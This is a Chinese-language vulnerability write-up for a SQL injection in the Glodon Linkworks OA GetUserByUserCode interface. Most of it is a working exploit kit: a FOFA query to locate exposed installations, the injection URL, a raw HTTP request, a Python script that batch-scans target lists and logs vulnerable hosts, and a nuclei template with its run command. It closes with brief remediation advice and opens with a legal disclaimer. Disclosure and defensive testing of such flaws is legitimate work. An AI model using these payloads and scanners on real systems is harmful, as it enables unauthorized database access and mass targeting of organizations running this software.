广联达 Linkworks GetUserByUserCode SQL 注入漏洞
免责申明:本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与本平台和发布者无关!!!
一、漏洞名称
广联达 Linkworks GetUserByUserCode SQL 注入漏洞
二、漏洞影响
广联达 Linkworks 协同办公管理平台 版本不详
三、漏洞描述
广联达Linkworks办公OA(Office Automation)是一款综合办公自动化解决方案,旨在提高组织内部的工作效率和协作能力。它提供了一系列功能和工具,帮助企业管理和处理日常办公任务、流程和文档。由于其GetUserByUserCode 接口未对用户的输入进行有效过滤,将其拼接进了SQL查询语句中,导致系统出现SQL注入漏洞。
四、资产FOFA搜索语句
body="/Services/Identification/"
五、漏洞复现
复现方式一:直接使用浏览器访问
http://x.x.x.x:8888/Org/service/Service.asmx/GetUserByUserCode?userCode=1%27-1/user--%27&EncryptData=1
注入点为userCode参数poc中特殊字符%27是URL编码的单引号字符 ',user表示当前会话或连接的数据库用户
复现方式二:喜欢burp suite的同学可以使用这种
向目标发送如下请求数据包
GET /Org/service/Service.asmx/GetUserByUserCode?userCode=1%27-1/user--%27&EncryptData=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ASP.NET_SessionId=n55kuckffdyrkrvnx2ehmdgh; GTP_IdServer_LangID=2052
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
六、批量漏洞检测poc
该python脚本可以批量检测漏洞,C:\Users\DELL\Desktop\1.txt为输入目标文件,每行是一个url
import argparse
import time
import requests
from urllib.parse import urlsplit
# 读取URL文件,处理url
def get_url(file):
with open('{}'.format(file),'r',encoding='utf-8') as f:
for url in f:
url = url.replace('\n', '')
if "http" not in url:
url = "http://" + url
parsed_url = urlsplit(url)
base_url = parsed_url.scheme + "://" + parsed_url.netloc
send_req(base_url)
# 在文件中记录存在漏洞的url
def write_result(content):
f = open("result.txt", "a", encoding="UTF-8")
f.write('{}\n'.format(content))
f.close()
# 发送POC数据包请求
def send_req(url_check):
print('{} runing Check'.format(url_check))
url = url_check + '/Org/service/Service.asmx/GetUserByUserCode?userCode=1%27-1/user--%27&EncryptData=1'
header = {
'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.69',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8'
}
try:
requests.packages.urllib3.disable_warnings()
response = requests.get(url=url,headers=header,verify=False,timeout=3)
if response.status_code == 500 and "nvarchar" in response.text and "#39" in response.text:
result = '{} 存在广联达 Linkworks GetUserByUserCode SQL 注入漏洞漏洞! \n'.format(url_check)
print(result)
write_result(result)
time.sleep(1)
except Exception as e:
print(e)
pass
if __name__ == '__main__':
file = r"C:\Users\DELL\Desktop\1.txt"
get_url(file)
nuclei poc
id: glodon-linkworks-getuserbyusercode-sqli
info:
name: 广联达OA linkworks getuserbyusercode sql注入
author: fgz
severity: high
description: 广联达Linkworks办公OA(Office Automation)是一款综合办公自动化解决方案,旨在提高组织内部的工作效率和协作能力。它提供了一系列功能和工具,帮助企业管理和处理日常办公任务、流程和文档。由于其GetUserByUserCode 接口未对用户的输入进行有效过滤,将其拼接进了SQL查询语句中,导致系统出现SQL注入漏洞。
metadata:
verified: true
fofa-query: body="/Services/Identification/"
hunter-query: web.body="/Services/Identification/"
tags: glodon,sqli
http:
- raw:
- |
GET /Org/service/Service.asmx/GetUserByUserCode?userCode=1%27-1/user--%27&EncryptData=1 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ASP.NET_SessionId=n55kuckffdyrkrvnx2ehmdgh; GTP_IdServer_LangID=2052
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
matchers:
- type: dsl
dsl:
- "status_code == 500 && contains_all(body,'nvarchar','#39')"
运行poc
.\nuclei.exe -t .\glodon-linkworks-getuserbyusercode-sqli.yaml -u http://x.x.x.x:8888
七、修复建议
1.使用参数化查询:使用参数化查询来构建SQL语句,而不是将用户提供的数据直接插入到SQL语句中。不同的编程语言和数据库访问库都提供了参数化查询的支持。这可以确保用户输入不会被解释为SQL代码。
2.避免拼接SQL查询:不要使用字符串拼接来构建SQL查询,因为这会使应用程序容易受到注入攻击。如果必须拼接查询,确保对用户输入进行适当的验证和转义。
3.进行输入验证和过滤:对用户输入进行验证和过滤,只允许有效的数据进入应用程序。使用白名单来限制输入的内容,而不是黑名单。黑名单很容易绕过。
4.最小化数据库权限:数据库用户应该具有最小的权限来执行所需的操作。不要使用具有数据库管理员权限的账户来运行应用程序。